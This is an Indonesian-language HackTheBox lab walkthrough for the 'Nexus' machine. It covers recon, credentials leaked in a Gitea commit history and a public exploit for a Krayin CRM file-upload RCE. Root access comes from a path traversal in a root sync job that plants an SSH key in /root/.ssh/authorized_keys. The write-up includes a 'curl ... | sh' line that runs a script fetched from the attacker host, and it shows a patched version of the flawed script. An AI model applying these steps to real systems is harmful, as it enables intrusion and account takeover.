July 16, 2026
Nexus — HackTheBox Writeup
Walkthrough

By FailDeGaskar
5 min read
OVERVIEW
nexus adalah Linux-Machine dengan difficulty easy dari HackTheBox yang berisi tentang exposed Gitea repository dengan leaking credentials dan website job posting yang reveals valid usernames. Credentials yang leaks itu bisa di manfaatkan untuk mengakses layanan Krayin CRMdengan versi 2.2 yang memiliki kerentanan CVE-2026-38526 , mengakibatkan akses shell sebagai www-data . Enumerasi lebih lanjut konfigurasi Krayin CRM reveals credentials yang bisa di gunakan untuk akses SSH . Enumeration service menunjukkan Gitea template sync service vulnerable terhadap directory traversal, yang bisa di manfaatkan untuk mendapatkan akses shell sebagai root.
RECONNAISSANCE
Scan terlebih dahulu port yang bisa di akses dengan nmap
nmap -sC -sV -oA nmap/initial 10.129.52.178nmap -sC -sV -oA nmap/initial 10.129.52.178
menunjukkan bahwa port 22 SSH dan 80 HTTP dengan redirect ke domain nexus.htb yang berarti fokus nya pada domain tersebut, pertama yang perlu di lakukan adalah menambahkan domain dan ip ke /etc/hosts supaya bisa di resolv dengan
sudo echo "10.129.52.178 nexus.htb" | sudo tee -a /etc/hostssudo echo "10.129.52.178 nexus.htb" | sudo tee -a /etc/hostsENUMERATION
dari depan hanya terlihat seperti website perusahaan biasa, tidak ada input atau login yang bisa di exploitasi, coba lebih lanjut dengan toolswhatweb
whatweb http://nexus.htb/whatweb http://nexus.htb/
terdapat leak email j.matthew@nexus.htb kita simpan dulu informasi tersebut, namun selebihnya tampak normal, kita coba fuzzing subdomain nya apakah ada layanan lain yang berjalan di domain tersebut, karena ada email nexus.htb mungkin bisa dapat mail server nya
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FFUZ -u http://nexus.htb -H "Host: FFUZ.nexus.htb" -fw 4ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FFUZ -u http://nexus.htb -H "Host: FFUZ.nexus.htb" -fw 4
terlihat bahwa ada subdomain git dan billing , kita tambahkan juga domain ini ke file DNS resolver
sudo echo "10.129.52.178 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hostssudo echo "10.129.52.178 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hostspada git.nexus.htb di dalamnya adalah self host Gitea sedangkan billing.nexus.htb adalah Krayin CRM, pertama lihat2 dulu pada Gitea dengan klik explore dan menemukan bahwa terdapat repository admin/krayin-docker-setup yang didalamnya terdapat file .env yang ter ekspos di dalamnya adalah kredensial IMAP, namun coba kita cek riwayat commit nya apakah ada hal lain lagi
Terdapat Password dari key DB_PASSWORD dengan value N27xh!!2ucY04 yang di hapus, dengan ini kita coba login ke Krayin CRM menggunakan kredensial email yang sudah kita temukan sebelumnya dengan password ini
login berhasil dengan user james, setelah mengamati web tersebut dengan versi 2.2.0 menemukan bahwa Krayin CRM ini rentan CVE-2026–38526 yang dapat memicu RCE yaitu Unrestricted PHP File Upload via TinyMCE
EXPLOITATION
CVE-2026-38526-PoC/exploit.py at main · NathanHimself/CVE-2026-38526-PoC CVE-2026-38526 | Krayin CRM v2.2.x Authenticated RCE - Unrestricted PHP File Upload via TinyMCE …
Terimakasih kepada NathanHimself yang menyediakan script auto exploit ke CVE-2026–38526
python exploit.py -t http://billing.nexus.htb -u "j.matthew@nexus.htb" -p 'N27xh!!2ucY04' -c "id"
# OUTPUT
# uid=33(www-data) gid=33(www-data) groups=33(www-data)python exploit.py -t http://billing.nexus.htb -u "j.matthew@nexus.htb" -p 'N27xh!!2ucY04' -c "id"
# OUTPUT
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Script berhasil dengan user www-data dengan menyelami di machine tersebut menggunakan perintah cat /etc/passwd dapat di temukan bahwa ada user jones dan juga konfigurasi Krayin berada di path /var/www/krayin dan dengan melihat file .env nya kita mendapat password baru y27xb3ha!!74GbR . Pada titik ini kita bisa coba login SSH
$ ssh jones@10.129.52.178
jones@10.129.52.178's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
Last login: Thu Jul 16 01:24:52 2026 from 10.10.17.10
jones@nexus:~$ ls
user.txt$ ssh jones@10.129.52.178
jones@10.129.52.178's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
Last login: Thu Jul 16 01:24:52 2026 from 10.10.17.10
jones@nexus:~$ ls
user.txt
PRIVILEGE ESCALATION
Sebagai user jones akses nya cukup terbatas coba dengan sudo -l mengembalikan Sorry, user jones may not run sudo on nexus. Selanjutya coba dengan LinPEAS — Linux Privilege Escalation Awesome Script apakah bisa mendapatkan akses root langsung. Setelah menginstall script tersebut di local host supaya bisa di akses oleh VM Target seperti berikut
sudo python3 -m http.server 80 #HOST
curl 10.10.17.10/linpeas.sh | sh #VICTIMsudo python3 -m http.server 80 #HOST
curl 10.10.17.10/linpeas.sh | sh #VICTIM
Ternyata linpeas tidak menemukan PrivEsc langsung, investigasi lebih lanjut menemukan bahwa ada cron job gitea-template-sync yang berjalan tiap 2 menit
systemctl list-timerssystemctl list-timers
jika membaca sync script pada /etc/gitea/template-sync.py berfungsi untuk pemeliharaan berkala dengan clone semua repositories dan syncs file content nya ke /home/git/template-staging/<owner>/<repo>/ , penggunaan cron job melalui systemd akan otomatis menggunakan user root, disini Critical flaw nya penggunaan os.path.join() ke path dari git ls-tree yang tidak di sanitasi dapat memicu path traversal
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)untuk mengamankan skrip python dari kerentanan ini, jalur akhir hasil penggebungan harus di validasi menggunakan os.abspath() untuk memastikan bahwa file yang ditulis tidak keluar dari direktori dasar yang di tentukan
abs_stage_path = os.path.abspath(stage_path)
for mode, objhash, filepath in entries:
target = os.path.abspath(os.path.join(abs_stage_path, filepath))
target_dir = os.path.dirname(target)
if not target.startswith(abs_stage_path + os.sep):
log(" [PENTING] Terdeteksi upaya Path Traversal pada file: %s" % filepath)
continueabs_stage_path = os.path.abspath(stage_path)
for mode, objhash, filepath in entries:
target = os.path.abspath(os.path.join(abs_stage_path, filepath))
target_dir = os.path.dirname(target)
if not target.startswith(abs_stage_path + os.sep):
log(" [PENTING] Terdeteksi upaya Path Traversal pada file: %s" % filepath)
continueEksploitasi Path Traversal
kita akan membuat directory dari Gitea dengan login menggunakan kredensial yang sudah di temukan sebelumnya, pertama mencoba login dengan j.matthew@nexus.htb : N27xh!!2ucY04 tidak berhasil maka coba dengan jones : y27xb3ha!!74GbR baru bisa login ke gitea nya, buat repository biasa dan pastikan centang pada bagian Make repository a template.
clone repository tersebut dan generate pasangan SSH key dari pc yang digunakan dan letakkan pada /tmp/.k supaya hilang ketika perangkat di restart (untuk keamanan PC kita sendiri)
cd /tmp
git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
cd rce
touch README.md
ssh-keygen -t ed25519 -f /tmp/.k -N ''cd /tmp
git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
cd rce
touch README.md
ssh-keygen -t ed25519 -f /tmp/.k -N ''karena client git umumnya verify_path() menolak nama file yang mengandung ../ maka solusinya memodifikasi langsung .git/objects/ dengan script python yang berikut
Yang dilakukan script tersebut adalah membungkus public key disimpan sebagai blob dan menyimpan nya pada .git/objects/ lalu merekayasa struktur folder objek bernama Tree, dengan menyusun folder palsu secara terbalik. Setelah itu, skrip membuat objek Commit resmi dan mendaftarkan nya ke main branch di .git/refs/heads/main . jalankan scriptnya :
python build.pypython build.py
setelah script di jalankan berarti semua payload sudah siap, selanjutnya hanya perlu push repository yang mengandung path traversal tersebut, disini saya menggunakan sudo karena entah kenapa kalau tidak sudo maka push nya ditolak
sudo git push -u origin main --forcesudo git push -u origin main --forcebisa di cek apakah sync sudah berjalan di sisi server :
cat /var/log/template-sync.log
[2026-07-16 03:12:04] Template sync starting
[2026-07-16 03:12:04] Found 1 template repo(s)
[2026-07-16 03:12:04] Syncing template: jones/rce
[2026-07-16 03:12:04] synced: README.md
[2026-07-16 03:12:04] synced: ../../../../../root/.ssh/authorized_keys
[2026-07-16 03:12:04] Template sync completecat /var/log/template-sync.log
[2026-07-16 03:12:04] Template sync starting
[2026-07-16 03:12:04] Found 1 template repo(s)
[2026-07-16 03:12:04] Syncing template: jones/rce
[2026-07-16 03:12:04] synced: README.md
[2026-07-16 03:12:04] synced: ../../../../../root/.ssh/authorized_keys
[2026-07-16 03:12:04] Template sync completeyess sinkronisasi berhasil menulis key yang tadi di buat ke /root/.ssh/authorized_keys . Selanjutnya bisa login SSH dengan user root dan menamatkan challenge ini
└─$ ssh root@nexus.htb -i /tmp/.k
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
root@nexus:~# ls
root.txt└─$ ssh root@nexus.htb -i /tmp/.k
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
root@nexus:~# ls
root.txt